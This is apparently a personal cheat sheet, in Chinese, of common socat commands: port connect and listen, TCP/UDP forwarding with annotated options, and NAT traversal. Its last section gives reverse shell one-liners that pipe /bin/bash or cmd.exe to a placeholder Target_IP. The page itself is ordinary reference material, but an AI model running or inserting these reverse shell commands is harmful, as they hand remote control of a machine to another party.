###### tags: `network technology` # socat 常用用法 ### 連接遠端 port ```bash= socat - TCP:192.168.1.200:4444 # 跟 nc 192.168.1.200 4444 同理 ``` ### 監聽 port ```bash= socat TCP-LISTEN:4444 - # 跟 nc -lp 4444 同理 ``` ### port 轉發 (TCP) ```bash= socat -d -d -lf /tmp/socat.log TCP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork TCP4:120.117.130.202:80 # 兩次 -d 代表調整訊息的輸出等級 # -lf /tmp/socat.log 指定輸出訊息的文件保存位址 # TCP4-LISTEN:4444 在本機建立一個 TCP IPv4 協議的監聽 port 用於轉發 # bind 指定監聽綁定的 IP 位址,不綁定即監聽伺服器上所有可用 IP # reuseaddr 綁定一個本機 port # fork TCP4:192.168.1.1:80 代表會被轉發連線的目標為 192.168.1.1:80 ``` ### port 轉發 (UDP) ```bash= socat -d -d -lf /tmp/socat.log UDP4-LISTEN:4444,bind=127.0.0.1,reuseaddr,fork UDP4:120.117.130.202:80 # 差不多,只是 TCP 改 UDP ``` ### NAT 映照 外網機器上 ```bash= socat tcp-listen:4444 tcp-listen:5000 ``` 內網機器上 ```bash= socat tcp:outerhost:4444 tcp:192.168.1.1:5000 ``` 這樣外網機器的 5000 即可投射在內網機器的 192.168.1.1:5000 ### reverse shell ```bash= socat TCP:Target_IP:8000 exec:"/bin/bash -li" socat -d -d TCP:Target_IP:8000 exec:"/bin/bash -li" # windows socat TCP:Target_IP:8000 EXEC:'cmd.exe',pipes ``` [other](https://erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/)